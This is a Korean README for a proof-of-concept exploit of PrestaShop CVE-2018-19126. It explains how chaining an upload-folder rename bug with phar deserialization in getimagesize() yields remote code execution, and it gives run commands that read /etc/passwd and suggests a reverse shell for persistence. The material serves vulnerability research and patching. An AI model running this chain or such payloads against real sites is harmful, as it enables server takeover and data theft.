
PrestaShop (1.6.x <= 1.6.1.23 또는 1.7.x <= 1.7.4.4) 백오피스 원격 코드 실행 (CVE-2018-19126)
이것은 CVE-2018-19126에 대한 PoC로, PrestaShop 백 오피스의 여러 취약점을 연쇄적으로 연결하여 phar를 통한 역직렬화를 유발하고 원격 코드 실행을 달성합니다.
전제 조건:

PrestaShop 릴리스 노트: http://build.prestashop.com/news/prestashop-1-7-4-4-1-6-1-23-maintenance-releases/
취약한 패키지 링크: https://assets.prestashop2.com/en/system/files/ps_releases/prestashop_1.7.4.3.zip
교육 목적으로만 사용하십시오. 이 스크립트를 불법 활동에 사용하지 마십시오. 저자는 모든 오용이나 손해에 대해 책임을 지지 않습니다.
익스플로잇을 실행하려면 curl 확장 기능이 있는 php와 php.ini에서 phar.readonly = Off로 설정해야 합니다.
# Download repository
wget https://github.com/farisv/PrestaShop-CVE-2018-19126/archive/master.zip -O PrestaShop-CVE-2018-19126.zip
unzip PrestaShop-CVE-2018-19126.zip
cd PrestaShop-CVE-2018-19126-master
# Run the exploit
# Usage: php exploit.php back-office-url email password func param
php exploit.php http://127.0.0.1/admin-dev/ [email protected] 54l35m4n123 system 'cat /etc/passwd'
업로드 디렉터리 이름이 변경되며, 폴더 이름을 되돌리지 않으면 악성 phar 파일을 다시 업로드할 수 없습니다. 지속적인 RCE를 위해 리버스 셸을 실행하거나 페이로드에 폴더 이름을 다시 변경하는 명령을 포함하는 것이 좋습니다 (업로드 디렉터리 경로를 알아야 합니다).
[back-office-path]/filemanager/ajax_calls.php의 getimagesize() 함수를 통해 phar 래퍼를 사용한 암시적 역직렬화를 달성할 수 있습니다.
case 'image_size':
if (realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) != realpath(_PS_ROOT_DIR_.$upload_dir)) {
die();
}
$pos = strpos($_POST['path'], $upload_dir);
if ($pos !== false) {
$info = getimagesize(substr_replace($_POST['path'], $current_path, $pos, strlen($upload_dir)));
echo json_encode($info);
}
특정 검사를 우회하여 getimagesize()가 phar 래퍼 URL을 매개변수로 호출되도록 하는 방법을 찾아야 합니다.
첫 번째 검사는 realpath()가 매우 엄격합니다.
if (realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) != realpath(_PS_ROOT_DIR_.$upload_dir)) {
die();
}
$upload_dir 변수는 config.php에서 비롯되며, 기본적으로 $upload_dir = Context::getContext()->shop->getBaseURI().'img/cms/';로 설정됩니다. $_POST['path']에 phar://[string]을 사용할 수 없는 이유는 realpath(dirname(_PS_ROOT_DIR_.$_POST['path']))가 존재하지 않기 때문에 false를 반환하기 때문입니다.
사용자가 $upload_dir을 삭제하거나 이름을 변경할 수 있는 또 다른 취약점(CVE-2018-19125)이 존재합니다. $upload_dir 디렉터리가 존재하지 않으면 realpath(_PS_ROOT_DIR_.$upload_dir)가 false를 반환하고, realpath(dirname(_PS_ROOT_DIR_.$_POST['path']))도 false이므로 이 검사를 우회할 수 있습니다. 이 취약점은 우회 방법을 찾으려는 코드 리뷰 중에 발견되었습니다 :)
요약하면, CVE-2018-19125는 execute.php의 delete_folder 또는 rename_folder 액션 호출에서 path 매개변수를 비워둘 수 있게 하여, 애플리케이션이 대신 $upload_dir을 삭제/이름 변경하도록 합니다.
두 번째 검사는 간단합니다. $_POST['path']에 $upload_dir이 포함되어야 합니다.
$pos = strpos($_POST['path'], $upload_dir);
if ($pos !== false) {
phar 파일 경로 뒤에 phar URL에 /img/cms/를 추가하기만 하면 됩니다. phar 아카이브 내에 디렉터리가 존재하지 않더라도 역직렬화는 여전히 발생하기 때문입니다. substr_replace($_POST['path'], $current_path, $pos, strlen($upload_dir))는 /img/cms/만 해당 폴더의 절대 경로($current_path)로 대체합니다 (예: 애플리케이션이 /var/www/html/에 설치된 경우 /var/www/html/img/cms/).
getimagesize() 함수가 phar 래퍼 URL을 처리하도록 제어할 수 있으므로, 악성 phar 파일을 서버에 업로드해야 합니다. 기본적으로 PrestaShop의 FileManager는 'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'svg', 'pdf', 'mov', 'mpeg', 'mp4', 'avi', 'mpg', 'wma', 'flv', 'webm' 확장자만 허용합니다. 페이로드를 제작하고 유효한 확장자로 저장하면 됩니다. PrestaShop에서 사용되는 PHPGGC의 Monolog 가젯 체인(https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/)을 사용할 수 있습니다.
최종 익스플로잇 단계:
path 매개변수로 phar://../../img/renamed/phar.pdf/img/cms/를 사용하여 image_size 액션을 호출합니다.exploit.php 스크립트가 모든 단계를 자동으로 수행합니다.
업로드 디렉터리는 3단계에서 이름이 변경되며, 폴더 이름을 되돌리지 않으면 악성 phar 파일을 다시 업로드할 수 없습니다. 페이로드로 리버스 셸을 사용하거나 페이로드에 폴더 이름을 다시 변경하는 명령을 포함하는 것이 좋습니다 (업로드 디렉터리 경로를 알아야 합니다).